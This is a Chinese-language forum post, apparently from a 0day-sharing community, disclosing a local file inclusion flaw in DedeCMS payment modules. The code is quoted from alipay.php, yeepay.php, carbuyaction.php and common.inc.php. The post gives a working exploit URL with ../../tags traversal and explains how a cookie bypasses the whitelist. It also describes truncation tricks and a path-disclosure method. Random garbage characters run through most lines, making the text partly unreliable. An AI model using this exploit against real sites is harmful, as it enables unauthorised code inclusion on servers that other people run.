晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)( Z) ~4 ?5 E4 \1 l
6 K5 T( U* n7 h+ a3 Y出现漏洞的两个文件为:
+ L) f @0 t/ e, rInclude/payment/alipay.php. x* b# l% ]4 v/ }' J. s
Include/payment/yeepay.php
9 G, K) }4 K% l- p# a$ M漏洞均出现在respond方法里,估计这两个文件是临时工写的。7 ~# _* {8 _! _# W m0 D7 ]" O' ]
, k* _0 D, j+ zInclude/payment/alipay.php
! s- z: E3 ^/ d# i
?; T8 }* F, N- x$ m......( A9 ~2 r9 N2 H7 }& q
function respond()8 }6 L4 ` w: v$ y% `
{' R# q# s: a' ]# H4 u
if (!empty($_POST))5 W1 L1 A& {$ A( x0 X8 t
{
T1 |, ? f2 k6 p+ |. A8 R foreach($_POST as $key => $data)" {- q' e" L$ ]. w
{2 B6 V. ?+ g3 P
$_GET[$key] = $data;( q" @' m: U- k2 v3 X5 ^
}4 M( D- m [" N0 q* C9 e# p
}1 F% j+ ]' X1 L& s# V
/* 引入配置文件 */: }2 W; o0 [& C, k0 K
require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
: z$ S$ P2 u9 L0 Q......
* I# e; f+ i$ v% @* u 1 `- r0 w7 }7 \. r7 C& ^" B7 A
- h8 P! W1 x& M# y6 \- ]
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
6 f s4 X5 V3 M* a% T7 Z8 a8 i; k- `( l( V, }( z! S e' w$ h0 @9 ?
Include/payment/yeepay.php4 d( ]/ n, u% s, v% V
+ o8 \/ R/ `# ^" G5 C' k
0 L+ w7 E5 g, V& w
0 ^1 }- C. p5 X; G......" P8 s& {+ ]1 m/ a% A5 v1 i
function respond()+ h. e0 H0 ?8 W6 o
{2 o5 m; B- p6 X6 u* G" F
7 `$ J' I+ \7 ^+ J3 Z /* 引入配置文件 */
9 {( m5 |" ]0 ?1 z1 V' V require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';; `$ N+ H( Z! h' g" X7 g7 j
8 p, n$ T, z1 u) U* T $p1_MerId = trim($payment['yp_account']);6 z5 |/ i6 V' g* B8 R
$merchantKey = trim($payment['yp_key']);
5 | S1 @. R1 E4 e$ x" T...... # ^; p4 G3 M \7 O# {& @% x
. b/ x$ Z! o. `% m- C5 l/ Y
2 D3 `; _3 m1 n0 G% \ 8 D) `, N& Z2 c0 N G( F5 r
: J; V1 e) W7 |" p8 H. E7 M
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
! u$ D2 I7 a% Z/ o# r1 Y
v. y0 q4 }, W这两个方法在plus/carbuyaction.php文件调用。/ }5 u% D, e9 `" n' Q( U# y+ D
/ x3 I Z; {0 Z$ y6 u- s+ t b0 v
plus/carbuyaction.php% L/ D6 u1 l* G) F) ?, Y
6 i3 o9 x& |; M8 L
......
, c: d; }2 a: D C% @. y P- B} else if ($dopost == 'return') {
4 I8 h! s4 X- p8 B0 x: c# Z/ q' y $write_list = array('alipay', 'bank', 'cod', 'yeepay');
8 P, a4 w, w3 x6 u9 k" v1 v% S if (in_array($code, $write_list))
2 a1 E' D* Y, i. E/ e# ^ {
) P' L+ R( w- ?4 J9 j, Z: _ require_once DEDEINC.'/payment/'.$code.'.php';
0 l& e2 _8 | |0 E3 o: Y $pay = new $code;1 p/ J. \5 i; i
$msg=$pay->respond();% g$ k8 I; D6 |% B& p z
ShowMsg($msg, "javascript:;", 0, 3000);
3 {4 {6 T. r5 ?. V! x8 f exit();
" L$ M7 Z/ n% ]2 D# \- i+ s } else {+ t5 u4 E3 n5 ?' W/ b6 f: K
exit('Error:File Type Can\'t Recognized!');3 J5 T/ _" p8 t$ m2 P
}
) e' L4 }, r2 a S+ y- |}
! }. Y; e9 `: _......
( y/ D: Y3 A+ U5 Z8 S$ M
7 l# v( R) x' ?) Z9 @, d& ~/ y' y; P3 x5 ]
% f; f6 y' t) D: ]* s
2 I6 g, s: V) r% R2 Z: L0 i& |+ l
+ t$ F8 K+ k# v4 X/ [) P
. o( e7 J1 P3 B$ A, L
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
4 s( a9 f, y( P7 N所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
4 ^1 F( j4 P$ U* @; _$ q1 t6 D- r" y
回到include/common.inc.php来看看他的机制。
( L# j' M3 F" ?4 c2 H) u
4 A% w9 ~- H& u: t/ D ' N5 P4 v$ v3 u' U" H- h M
! e& B3 q( O. S3 |7 Z......$ d2 ~. O& q, B8 u. E
foreach(Array('_GET','_POST','_COOKIE') as $_request)
( }: b5 Z% H- X5 I2 K8 ^0 Y{0 k, y' \& b* W8 H8 E0 F3 J8 U
foreach($$_request as $_k => $_v) # E% U9 t& [% T* X) w
{% y7 m0 e9 s+ @! I" G% t/ B2 i/ w
if($_k == 'nvarname') ${$_k} = $_v;7 M! e9 Y; |) C
else ${$_k} = _RunMagicQuotes($_v);( X1 E1 m. Q* W# x
}" w. i9 z& `' k9 {0 D2 V
}
: M& N4 ~+ f6 g8 G. C2 D% P" Q......
% N5 J" @9 b' n0 Y大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
, l9 y& f- k9 q9 |0 t) x由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。 |